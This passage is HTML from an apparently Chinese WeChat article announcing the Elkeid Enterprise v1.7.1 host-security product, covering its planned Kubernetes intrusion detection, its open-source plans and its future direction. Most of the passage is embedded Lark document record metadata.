nU64mwMQmgiQgymCUEotNJg&#34;,&#34;doxcnesoa06Ic4iGOu4hN1ipkif&#34;,&#34;doxcnMyE2W88wcwA0WzBM2oMY6B&#34;,&#34;doxcnOuIUAiwAws44k7H9Tl5uhf&#34;,&#34;doxcnQkWiGSUy6S6eg0PEpRWLqF&#34;,&#34;doxcn66CeY8GQag6021RTPUniPh&#34;,&#34;doxcnGEkKMwAA4skW6YMGzR9Ebh&#34;,&#34;doxcn6GqOcwGKoWwmK4Hxh9RYHt&#34;,&#34;doxcneucsyAOEuweekRe6rSeoic&#34;,&#34;doxcnSkcaAWeIiOQCsH08XMIT5b&#34;,&#34;doxcnWsKEKgeoWk4kcdJrGpvLNg&#34;,&#34;doxcnW2OOIw4iaEk6QkBx0HEtf9&#34;],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+m&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 企业版 v1.7.1 正式发布&#34;}}},&#34;align&#34;:&#34;&#34;}}},&#34;isRecordModified&#34;:false,&#34;payloadMap&#34;:{&#34;doxcnsg8geAoomiSUY52o105Dte&#34;:{&#34;level&#34;:1}},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}}}" data-lark-record-format="docx/record"></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7421602787456446" data-s="300,640" style="" data-type="png" data-w="1148" src="https://wechat2rss.xlab.app/img-proxy/?k=b83e5462&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVyHNvYtl0BSRu0MgibXVVnkC3N2wdiaP5jhFx6lb4OAPXcib7pFjAPvEHrBicrANh5Pt6avVRYOGTx2hA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><ul start="1" class="list-paddingleft-1"><li><p><strong>Elkeid </strong><strong>云原生</strong><strong>安全能力</strong></p></li></ul><p>随着云原生的发展，k8s 这个新形态的操作系统也越发普及。Elkeid Team 在云原生安全方面也有深厚的积累，我们会首先实现 <strong>Kubernetes Auditing 入侵&amp;威胁检测，基线巡检，应用巡检</strong>这部分功能，并且原生与Elkeid其他数据/功能打通，实现更全面的防御。该功能预计v1.9.0发布。</p><p><span data-lark-record-data="{&#34;isCut&#34;:false,&#34;pasteFlag&#34;:&#34;2437f651-effc-4822-8593-afcac3cc3992&#34;,&#34;rootId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;parentId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;start&#34;:125,&#34;end&#34;:126,&#34;blockIds&#34;:[146,147],&#34;recordIds&#34;:[&#34;doxcnOcGKqiw0KmcmEEVz9kDhHI&#34;,&#34;doxcnYayAWaOSUISwU9DnLVUFwg&#34;],&#34;recordMap&#34;:{&#34;doxcnOcGKqiw0KmcmEEVz9kDhHI&#34;:{&#34;id&#34;:&#34;doxcnOcGKqiw0KmcmEEVz9kDhHI&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:3,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;bold&#34;,&#34;true&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;2&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;04ed3eaa-6c21-45eb-95ed-dc9288fbab77\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_29300464\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*1*0+7*2*1*0+3*1*0+4&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 云原生安全能力&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnYayAWaOSUISwU9DnLVUFwg&#34;:{&#34;id&#34;:&#34;doxcnYayAWaOSUISwU9DnLVUFwg&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:6,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;1&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;51dce21e-fbca-4820-815c-35a3378643b9\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_29300464\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;],&#34;2&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;d06bc63d-6154-435c-b5aa-0be55c5659a2\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_45816190\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;],&#34;3&#34;:[&#34;author&#34;,&#34;6781251581791699214&#34;],&#34;4&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;2d74a0ca-70da-4a74-98b0-2a693275269e\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_45816190\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;],&#34;5&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;5d6dc03a-6f19-4531-88f5-2be97863af00\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_42440638\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+2*1*0+3*0+4*2*0+3*0+1g*3+1*4*0+a*0+i*5*0+2*0+1l&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;随着云原生的发展，k8s 这个新形态的操作系统也越发普及。Elkeid Team 在云原生安全方面也有深厚的积累，我们会首先实现 Kubernetes Auditing 入侵&amp;威胁检测，基线巡检，应用巡检这部分功能，并且原生与Elkeid其他数据/功能打通，实现更全面的防御。该功能预计v1.9.0发布。&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;:{&#34;id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;page&#34;,&#34;parent_id&#34;:&#34;&#34;,&#34;comments&#34;:null,&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[&#34;doxcnimIyUMwy0KgIMlgBMMqnmg&#34;,&#34;doxcnYWEkWieecwsskRvTNl7KKh&#34;,&#34;doxcnuoeC2gwwicm2Gyx8DyVoAc&#34;,&#34;doxcnismKECwi822Qea1XkQEHHf&#34;,&#34;doxcnEmEE6EYmAw2ewjDhumikHe&#34;,&#34;doxcnUIUIIK68YMeqUfvqDwoS8L&#34;,&#34;doxcnEiYK6uQOMae6QHeZQ2fanf&#34;,&#34;doxcnSM4WaKOAsE6kUV37FxgLKb&#34;,&#34;doxcns46sOECGUIgCgfTCAjRRWh&#34;,&#34;doxcnsoGY6esKsWS2k9VWZkwJbc&#34;,&#34;doxcnSYK8MqS2y2WwQTAiJSsW1c&#34;,&#34;doxcno0m82ooum2UMOoU4hQhVFb&#34;,&#34;doxcnWEmEuqk6umAK6Fku9uTlPb&#34;,&#34;doxcnsYSk4yAuIEG8ELbtQguxcg&#34;,&#34;doxcnS2oywUoi2Cesi02VNinzSh&#34;,&#34;doxcnyE0mkYO6s6Qs8avlDPVepc&#34;,&#34;doxcnsmw4soOAkwesWNe5wFO363&#34;,&#34;doxcnUaIqYkGm2Y0yYBVjSj7UJe&#34;,&#34;doxcngaQUQeqGssEY4PEyanFFjh&#34;,&#34;doxcnamUq82cUUmaaU19HpnlMEg&#34;,&#34;doxcnqScq0gUaMkgoe6aEIrj7Xf&#34;,&#34;doxcnuKikuAUWYq4qwDbPxqXRFd&#34;,&#34;doxcneqUe0eg4OCA0WysAWxrN2c&#34;,&#34;doxcnyQSSCaYGQaISOSgqrTclPe&#34;,&#34;doxcnOce08EW64M68WopStcgi2g&#34;,&#34;doxcnKS66wkuOucYUwrlLG0Pt4B&#34;,&#34;doxcnIA62amaCSYQwism5e5KWwc&#34;,&#34;doxcnUqOiWyyYOCSwSEC41wN0lh&#34;,&#34;doxcnE2gc0IKym4qCgtCCC7bhUc&#34;,&#34;doxcnCeSOsMayCOewc7YhHMC4RH&#34;,&#34;doxcnya6gSq0siugQSOvMvFjUkg&#34;,&#34;doxcnw20MKQEiSMeYUBafjPlFDf&#34;,&#34;doxcn228GgQgEyOKS25ZX1KvPNd&#34;,&#34;doxcnkuU2kiYAGgWI6ZTDJ1ZX6e&#34;,&#34;doxcn6EwQo4SM6MAUS6Ku7HZ9Mb&#34;,&#34;doxcn6yY8QqMMeqaECWHCTAWMbb&#34;,&#34;doxcnGuYQSoeqA6Y8aIpbXph1Dh&#34;,&#34;doxcnGYqYsS0cmCuCGCI0KAEtye&#34;,&#34;doxcn4C0e6WMeuaawstFUL9WwDd&#34;,&#34;doxcnUEKw4uUsiugWqm6ysrKcng&#34;,&#34;doxcnOIukkcykQeSuKMesBiXbtd&#34;,&#34;doxcn2Ss4q8KSKkGos1c18fcuab&#34;,&#34;doxcnOGwcuC2kaoAQKSzFiGqkQe&#34;,&#34;doxcngqckmKSKwkkOWwnP495s7f&#34;,&#34;doxcnu2KuuYuoMEAW6MyckAprph&#34;,&#34;doxcnYQuQIieegmmIczmKPCuaXe&#34;,&#34;doxcnwuwOYWiaeYqOQ3wIzwGDxb&#34;,&#34;doxcnaeAGoUuo2qKwYRFadTnhoe&#34;,&#34;doxcngeI8oaCowU6cE3O2W8XSCg&#34;,&#34;doxcnWs80Osgs84kG6xDkTUXBiw&#34;,&#34;doxcnqAIkIsCi4UKmkGDFcjJxSO&#34;,&#34;doxcnSyYOsQsS6cuEAJHfeoaH0e&#34;,&#34;doxcnYCoUG4gYsMSeIXX0kwrH9b&#34;,&#34;doxcnk8qoUC6CMWSWamMdxsY63d&#34;,&#34;doxcneOmOSeKoq2QWCusI9MiQeY&#34;,&#34;doxcnskAi662Qcu00UV4EulYXug&#34;,&#34;doxcnk4QkQYAeewsQcDIDD4nI3c&#34;,&#34;doxcnQWWAmA0K2G2AUDbp5lJsFf&#34;,&#34;doxcn4WYEqKOmkCWqKoELHTv2Tc&#34;,&#34;doxcnMaM6kqWY4AQYYueGeFQOhb&#34;,&#34;doxcnuEuU2Ma0Qi62knD1IPqbTb&#34;,&#34;doxcniIouugS2smek2tOhjz6Xvd&#34;,&#34;doxcng8aKGogOgAAsAEj5NGlljb&#34;,&#34;doxcn8aegCiWoUGC6Omc5d2gLNh&#34;,&#34;doxcnSQkeOSqqqAqeS4DGhNwUHe&#34;,&#34;doxcnk0cOqgos8kegQdT3EjNKEf&#34;,&#34;doxcngkkekuqMIsskuq349gwq4f&#34;,&#34;doxcnyacaEcGSoaecghSjsVfHZg&#34;,&#34;doxcnIKAA0EKSwiuou625btmqOh&#34;,&#34;doxcnS4aCkYqgwEeeSOfMyqsj5f&#34;,&#34;doxcnw6mQkIMuwYuSYLaAYVlBje&#34;,&#34;doxcnguKAkCWeCUgym28mOdjHmd&#34;,&#34;doxcnGuqQwgkY2yecGB6SlGWK56&#34;,&#34;doxcnckuKWowYIeAa8vDdj4QHod&#34;,&#34;doxcno8M04aE2KOQMK45nEJFqlh&#34;,&#34;doxcneMkIOUY8U6uO475Z0q9hIh&#34;,&#34;doxcnkOUugassuKI6OUhPaVIIVd&#34;,&#34;doxcnAOGiQussWs8wst5jWnjTnd&#34;,&#34;doxcn4M0MSkuy4iKg8XpHNt3nXc&#34;,&#34;doxcnQW6M80m8cAsqu8txyRBmeh&#34;,&#34;doxcnKSYKQW8G8iEoEbpsO10wpf&#34;,&#34;doxcn8Ok20YEUscI4Ih1ZhVYJRf&#34;,&#34;doxcn6yggsECioyKOcdrZDxJfve&#34;,&#34;doxcnK6wG6KmUS2gqULJPgWD0Re&#34;,&#34;doxcnyM06ym60MqOA3vYXTYP4kN&#34;,&#34;doxcnGayaSaugwAqC6xZrw1Qc9b&#34;,&#34;doxcn00ks8kYcKEWKQFZJxA5HLd&#34;,&#34;doxcnEAAyksuWSKEoQDWBPMUvPb&#34;,&#34;doxcnqmw4OUsKkIAkeSLorCrMGg&#34;,&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;,&#34;doxcnGkqoIuIOUaWgumFTZROXjg&#34;,&#34;doxcniiGsio8k2ySQi0E5YKvLPf&#34;,&#34;doxcnKuSq4WYKGsekSoYupo13yd&#34;,&#34;doxcnaW8QKICAYUGwYNNQctvHNf&#34;,&#34;doxcnm8OQ0IiG64EOqmIIIuKVwf&#34;,&#34;doxcn8E0mUkGKUW62SMQWpQxJld&#34;,&#34;doxcn88yEa0YAAyWMUlOzEjmOVg&#34;,&#34;doxcneQ0COIcKuu6sMvVrc7aqHh&#34;,&#34;doxcnGwC2EuwgKcK8iErEQPvRkc&#34;,&#34;doxcn0KyacsygMCCayWokepIVSU&#34;,&#34;doxcn4qq0A2qGGqUA4j8jax1Pqh&#34;,&#34;doxcnmIkUee2ICGqmyTuxbNIWD5&#34;,&#34;doxcnW4qwKCwS8oOSQx9DPMfL3b&#34;,&#34;doxcnGcyAkMCwMecc9UwLYXmdmj&#34;,&#34;doxcn8AiO0Om6AUKAOYZmCQ2gAd&#34;,&#34;doxcn88qWWYsAMA2guOxuw06ZGf&#34;,&#34;doxcnM2g4is2G80yUmmrYPiBkme&#34;,&#34;doxcne4KkG4Ak6GgwGKD4uvkrcb&#34;,&#34;doxcnGCuiO2wwmQAmusMd9Oeksh&#34;,&#34;doxcnIYcw8OoaA2cEGiy0KH8Kcb&#34;,&#34;doxcnAiIk6OC82ioWGGkNvWQ79f&#34;,&#34;doxcn0Ww04600kcymmcYouLHWXf&#34;,&#34;doxcnuGugGYcC2kIy0O7yOOiC6c&#34;,&#34;doxcn4k6iWyMq6amSo69JmwMYsC&#34;,&#34;doxcnKyemGSA4y26s8YknN7oHIc&#34;,&#34;doxcnQoMe8uaaWK0IYnE0YVnfKh&#34;,&#34;doxcnmuYIesuwKwioK20kzxejud&#34;,&#34;doxcnwwAogcSQKwWgo12deM7mWb&#34;,&#34;doxcnWuEeO6Ii2Ewm6YyhMRk00g&#34;,&#34;doxcny4uwWkqaKEgOwl0INTfyyh&#34;,&#34;doxcn4qQCAKOUaeGqolGoYRAuXc&#34;,&#34;doxcnC8au0McQEOkKUJAQTOVksf&#34;,&#34;doxcnem2Was2GWgoa4rSlDkQXGf&#34;,&#34;doxcnsg8geAoomiSUY52o105Dte&#34;,&#34;doxcnouW8IuE82OecwNyPimMiYb&#34;,&#34;doxcnOcGKqiw0KmcmEEVz9kDhHI&#34;,&#34;doxcnYayAWaOSUISwU9DnLVUFwg&#34;,&#34;doxcnQAG4WKck8Eq0KOFuvXcWHg&#34;,&#34;doxcnuGCisiSs4KgcIBn4AbinVb&#34;,&#34;doxcnAWk8M2ASeseW4spZIUadzb&#34;,&#34;doxcnuyqYmoOKgCaccMxEEdamtb&#34;,&#34;doxcnQWSeUiocISOKJCiDp4kZH0&#34;,&#34;doxcn2IWgsIcW0Ys2c1e6IyVrBd&#34;,&#34;doxcnAaWwOykqs2OIfGVcLPpXld&#34;,&#34;doxcn2UI4a8uyqaOccFDrl6J7gh&#34;,&#34;doxcnGY4oIeww0o4SyIb2pS7yLb&#34;,&#34;doxcnqS68K8Qg0uqCsvsOm9qDRh&#34;,&#34;doxcnQug6KisGmM6iQ9wKMsF3Yd&#34;,&#34;doxcnyMSgca84QeWsGg3BNTVFxc&#34;,&#34;doxcnuA4K6s8QU820Jqe5Ff6LzI&#34;,&#34;doxcnU64mwMQmgiQgymCUEotNJg&#34;,&#34;doxcnesoa06Ic4iGOu4hN1ipkif&#34;,&#34;doxcnMyE2W88wcwA0WzBM2oMY6B&#34;,&#34;doxcnOuIUAiwAws44k7H9Tl5uhf&#34;,&#34;doxcnQkWiGSUy6S6eg0PEpRWLqF&#34;,&#34;doxcn66CeY8GQag6021RTPUniPh&#34;,&#34;doxcnGEkKMwAA4skW6YMGzR9Ebh&#34;,&#34;doxcn6GqOcwGKoWwmK4Hxh9RYHt&#34;,&#34;doxcneucsyAOEuweekRe6rSeoic&#34;,&#34;doxcnSkcaAWeIiOQCsH08XMIT5b&#34;,&#34;doxcnWsKEKgeoWk4kcdJrGpvLNg&#34;,&#34;doxcnW2OOIw4iaEk6QkBx0HEtf9&#34;],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+m&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 企业版 v1.7.1 正式发布&#34;}}},&#34;align&#34;:&#34;&#34;}}},&#34;isRecordModified&#34;:false,&#34;payloadMap&#34;:{&#34;doxcnYayAWaOSUISwU9DnLVUFwg&#34;:{&#34;level&#34;:1}},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}}}" data-lark-record-format="docx/record"></span></p><section style="text-indent: 2em;"><br/></section><p>Elkeid 是一个正在快速迭代、创新与突破的产品，在可预见的未来，溯源（威胁猎捕）、恶意文件识别与事件处理等关键领域都会有重要更新。</p><p><br/></p><p><br/></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="background: #E7F1EE;border-radius: 4px;" data-mid="" mpa-from-tpl="t"><section style="height: 42px;transform: translate(-4px, -4px);background: rgb(255, 255, 255);border-radius: 4px;border-width: 1px;border-style: dotted;border-color: rgb(16, 86, 58);text-align: center;padding-right: 24px;padding-left: 24px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Medium, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(0, 0, 0);line-height: 42px;" data-mid=""><strong><span style="font-size: 18px;">七. 企业版与开源版</span></strong><span style="font-size: 18px;"></span></p><p><br/></p></section></section></section></section></section><p><br/></p><p>Elkeid 依然会保持端上与接入层的全部功能持续开源。</p><p><br/></p><p><br/></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="background: #E7F1EE;border-radius: 4px;" data-mid="" mpa-from-tpl="t"><section style="height: 42px;transform: translate(-4px, -4px);background: rgb(255, 255, 255);border-radius: 4px;border-width: 1px;border-style: dotted;border-color: rgb(16, 86, 58);text-align: center;padding-right: 24px;padding-left: 24px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Medium, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(0, 0, 0);line-height: 42px;" data-mid=""><strong><span style="font-size: 18px;">八. </span></strong><span style="font-size: 18px;"></span><span style="font-size: 18px;">E</span><span style="font-size: 18px;">lkeid 的未</span><span style="font-size: 18px;">来</span></p><p><br/></p></section></section></section></section></section><p><br/></p><p>Elkeid 产品化工作从开始研发到v1.7.1版本上线用了7个月时间，产品整体还在快速迭代中。我们希望将我们理解的安全能力赋予在 Elkeid 产品上，给业界带来不一样的思考与创新；希望以技术为核心，解决实际问题为最高优先级，打造符合高强度对抗情况下的安全产品，从而真实帮助到安全工程师与企业。</p><p><br/></p><p>另一方面：联动与多维度关联，行为分析等是我们一直关注的方向，从Linux Kernel Space 到 User Space，再到Application Runtime 与 Kubernetes。一次入侵可能跨越多个维度，入侵检测也同样不应该拘泥于某个维度，而是应该尝试通过完整的生命周期进行分析/理解/发现/响应。</p><p><span data-lark-record-data="{&#34;isCut&#34;:false,&#34;pasteFlag&#34;:&#34;2437f651-effc-4822-8593-afcac3cc3992&#34;,&#34;rootId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;parentId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;start&#34;:134,&#34;end&#34;:135,&#34;blockIds&#34;:[155,156],&#34;recordIds&#34;:[&#34;doxcn2UI4a8uyqaOccFDrl6J7gh&#34;,&#34;doxcnGY4oIeww0o4SyIb2pS7yLb&#34;],&#34;recordMap&#34;:{&#34;doxcn2UI4a8uyqaOccFDrl6J7gh&#34;:{&#34;id&#34;:&#34;doxcn2UI4a8uyqaOccFDrl6J7gh&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6948232919697719324&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+u*1+1*0+20*1+2*0+17&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 产品化工作从开始研发到v1.7.1版本上线用了7个月时间，产品整体还在快速迭代中。我们希望将我们理解的安全能力赋予在 Elkeid 产品上，给业界带来不一样的思考与创新；希望以技术为核心，解决实际问题为最高优先级，打造符合高强度对抗情况下的安全产品，从而真实帮助到安全工程师与企业。&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnGY4oIeww0o4SyIb2pS7yLb&#34;:{&#34;id&#34;:&#34;doxcnGY4oIeww0o4SyIb2pS7yLb&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;1&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;4133f564-85b2-4859-950a-e68119e0c60b\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_45816190\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+2f*1*0+a*0+1p&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;另一方面：联动与多维度关联，行为分析等是我们一直关注的方向，从Linux Kernel Space 到 User Space，再到Application Runtime 与 Kubernetes。一次入侵可能跨越多个维度，入侵检测也同样不应该拘泥于某个维度，而是应该尝试通过完整的生命周期进行分析/理解/发现/响应。&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;:{&#34;id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;page&#34;,&#34;parent_id&#34;:&#34;&#34;,&#34;comments&#34;:null,&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[&#34;doxcnimIyUMwy0KgIMlgBMMqnmg&#34;,&#34;doxcnYWEkWieecwsskRvTNl7KKh&#34;,&#34;doxcnuoeC2gwwicm2Gyx8DyVoAc&#34;,&#34;doxcnismKECwi822Qea1XkQEHHf&#34;,&#34;doxcnEmEE6EYmAw2ewjDhumikHe&#34;,&#34;doxcnUIUIIK68YMeqUfvqDwoS8L&#34;,&#34;doxcnEiYK6uQOMae6QHeZQ2fanf&#34;,&#34;doxcnSM4WaKOAsE6kUV37FxgLKb&#34;,&#34;doxcns46sOECGUIgCgfTCAjRRWh&#34;,&#34;doxcnsoGY6esKsWS2k9VWZkwJbc&#34;,&#34;doxcnSYK8MqS2y2WwQTAiJSsW1c&#34;,&#34;doxcno0m82ooum2UMOoU4hQhVFb&#34;,&#34;doxcnWEmEuqk6umAK6Fku9uTlPb&#34;,&#34;doxcnsYSk4yAuIEG8ELbtQguxcg&#34;,&#34;doxcnS2oywUoi2Cesi02VNinzSh&#34;,&#34;doxcnyE0mkYO6s6Qs8avlDPVepc&#34;,&#34;doxcnsmw4soOAkwesWNe5wFO363&#34;,&#34;doxcnUaIqYkGm2Y0yYBVjSj7UJe&#34;,&#34;doxcngaQUQeqGssEY4PEyanFFjh&#34;,&#34;doxcnamUq82cUUmaaU19HpnlMEg&#34;,&#34;doxcnqScq0gUaMkgoe6aEIrj7Xf&#34;,&#34;doxcnuKikuAUWYq4qwDbPxqXRFd&#34;,&#34;doxcneqUe0eg4OCA0WysAWxrN2c&#34;,&#34;doxcnyQSSCaYGQaISOSgqrTclPe&#34;,&#34;doxcnOce08EW64M68WopStcgi2g&#34;,&#34;doxcnKS66wkuOucYUwrlLG0Pt4B&#34;,&#34;doxcnIA62amaCSYQwism5e5KWwc&#34;,&#34;doxcnUqOiWyyYOCSwSEC41wN0lh&#34;,&#34;doxcnE2gc0IKym4qCgtCCC7bhUc&#34;,&#34;doxcnCeSOsMayCOewc7YhHMC4RH&#34;,&#34;doxcnya6gSq0siugQSOvMvFjUkg&#34;,&#34;doxcnw20MKQEiSMeYUBafjPlFDf&#34;,&#34;doxcn228GgQgEyOKS25ZX1KvPNd&#34;,&#34;doxcnkuU2kiYAGgWI6ZTDJ1ZX6e&#34;,&#34;doxcn6EwQo4SM6MAUS6Ku7HZ9Mb&#34;,&#34;doxcn6yY8QqMMeqaECWHCTAWMbb&#34;,&#34;doxcnGuYQSoeqA6Y8aIpbXph1Dh&#34;,&#34;doxcnGYqYsS0cmCuCGCI0KAEtye&#34;,&#34;doxcn4C0e6WMeuaawstFUL9WwDd&#34;,&#34;doxcnUEKw4uUsiugWqm6ysrKcng&#34;,&#34;doxcnOIukkcykQeSuKMesBiXbtd&#34;,&#34;doxcn2Ss4q8KSKkGos1c18fcuab&#34;,&#34;doxcnOGwcuC2kaoAQKSzFiGqkQe&#34;,&#34;doxcngqckmKSKwkkOWwnP495s7f&#34;,&#34;doxcnu2KuuYuoMEAW6MyckAprph&#34;,&#34;doxcnYQuQIieegmmIczmKPCuaXe&#34;,&#34;doxcnwuwOYWiaeYqOQ3wIzwGDxb&#34;,&#34;doxcnaeAGoUuo2qKwYRFadTnhoe&#34;,&#34;doxcngeI8oaCowU6cE3O2W8XSCg&#34;,&#34;doxcnWs80Osgs84kG6xDkTUXBiw&#34;,&#34;doxcnqAIkIsCi4UKmkGDFcjJxSO&#34;,&#34;doxcnSyYOsQsS6cuEAJHfeoaH0e&#34;,&#34;doxcnYCoUG4gYsMSeIXX0kwrH9b&#34;,&#34;doxcnk8qoUC6CMWSWamMdxsY63d&#34;,&#34;doxcneOmOSeKoq2QWCusI9MiQeY&#34;,&#34;doxcnskAi662Qcu00UV4EulYXug&#34;,&#34;doxcnk4QkQYAeewsQcDIDD4nI3c&#34;,&#34;doxcnQWWAmA0K2G2AUDbp5lJsFf&#34;,&#34;doxcn4WYEqKOmkCWqKoELHTv2Tc&#34;,&#34;doxcnMaM6kqWY4AQYYueGeFQOhb&#34;,&#34;doxcnuEuU2Ma0Qi62knD1IPqbTb&#34;,&#34;doxcniIouugS2smek2tOhjz6Xvd&#34;,&#34;doxcng8aKGogOgAAsAEj5NGlljb&#34;,&#34;doxcn8aegCiWoUGC6Omc5d2gLNh&#34;,&#34;doxcnSQkeOSqqqAqeS4DGhNwUHe&#34;,&#34;doxcnk0cOqgos8kegQdT3EjNKEf&#34;,&#34;doxcngkkekuqMIsskuq349gwq4f&#34;,&#34;doxcnyacaEcGSoaecghSjsVfHZg&#34;,&#34;doxcnIKAA0EKSwiuou625btmqOh&#34;,&#34;doxcnS4aCkYqgwEeeSOfMyqsj5f&#34;,&#34;doxcnw6mQkIMuwYuSYLaAYVlBje&#34;,&#34;doxcnguKAkCWeCUgym28mOdjHmd&#34;,&#34;doxcnGuqQwgkY2yecGB6SlGWK56&#34;,&#34;doxcnckuKWowYIeAa8vDdj4QHod&#34;,&#34;doxcno8M04aE2KOQMK45nEJFqlh&#34;,&#34;doxcneMkIOUY8U6uO475Z0q9hIh&